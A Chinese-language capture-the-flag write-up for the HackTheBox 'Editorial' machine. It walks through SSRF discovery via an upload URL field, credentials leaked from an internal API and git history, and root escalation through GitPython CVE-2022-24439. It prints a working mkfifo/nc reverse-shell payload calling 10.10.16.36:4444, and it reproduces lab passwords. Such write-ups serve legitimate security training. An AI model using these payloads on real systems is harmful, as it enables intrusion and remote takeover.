Editorial WriteUp
0x01 信息收集
- nmap端口扫描
nmap -A -sV -T4 10.10.11.20
- 发现目标开放22、80端口,先对80端口进行测试
直接访问发现80端口需要以editorial.htb域名访问,将其加入hosts文件
- 探索网页功能
发现目标存在upload功能点
0x02 漏洞利用
- 尝试利用upload界面上传webshell
上传完毕,在页面上会显示加载失败的图片,检查源代码发现后缀名会被删除并且文件名重命名,无法直接利用
- 尝试利用upload页面的url功能点[ssrf]
先尝试包含本地
发现传入url为本地的80端口时显示的是一张本地图片,尝试爆破端口,查看是否有不同的信息
将该数据包发给Intruder模块,添加攻击向量
添加payload为1-65535
攻击完毕发现5000端口的response数据的length和其他端口不同
打开response中的文件查看
static/uploads/1c3249f0-699f-4ab9-83ef-6ea3706e5aab
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
在返回中的数据中发现存在很多的api
逐个api访问,在http://127.0.0.1:5000/api/latest/metadata/messages/authors中发现敏感信息
将api放到ssrf漏洞点中获取该api在80端口中的文件位置
注:直接访问http://10.10.11.20:5000/api/latest/metadata/messages/authors获取不到数据,并且在端口扫描时也发现5000端口不对外开放
static/uploads/178dbc0e-c233-4137-9c7a-705f2eb0e586
访问该文件,在该文件中发现dev用户的凭证
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
dev用户凭证
dev:dev080217_devAPI!@
- 结合信息收集中发现目标开放22端口,使用dev用户连接
0x03 获取第一个flag
- ssh连接目标后在dev用户家目录下得到第一个flag
- 信息收集,尝试提权
查看是否存在suid提权或者sudo提权
当前目录下有一个apps文件夹,进去信息收集
.git 目录中一般会存在代码历史版本,进入.git目录,使用git log
查看代码历史版本
发现历史版本在存在着将prod修改为dev的版本,结合之前我们找到的dev用户信息可以登录系统,切换到该版本进行查看
git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
# 查看修改prod为dev 版本代码
得到一组用户名密码
prod:080217_Producti0n_2023!@
- 使用找到的prod用户登录目标系统
0x04 获取第二个flag
- 信息收集,尝试提权
查看是否存在suid提权或者sudo提权
发现prod能够以root用户执行/opt/internal_apps/clone_changes/clone_prod_change.py脚本,查看它的内容
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
代码中使用了git库,先看git库的版本
pip3 list | grep -i git
发现使用的版本为3.1.29,存在RCE漏洞
- CVE-2022-24439
参考链接:
https://github.com/gitpython-developers/GitPython/issues/1515
根据漏洞poc我们可以执行如下payload反弹shell
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c rm% /tmp/f;mkfifo% /tmp/f;cat% /tmp/f|/bin/bash% -i% 2>&1|nc% 10.10.16.36% 4444% >/tmp/f"
在执行poc之前,kali 开启监听
nc -lvvp 4444
- 获取第二个flag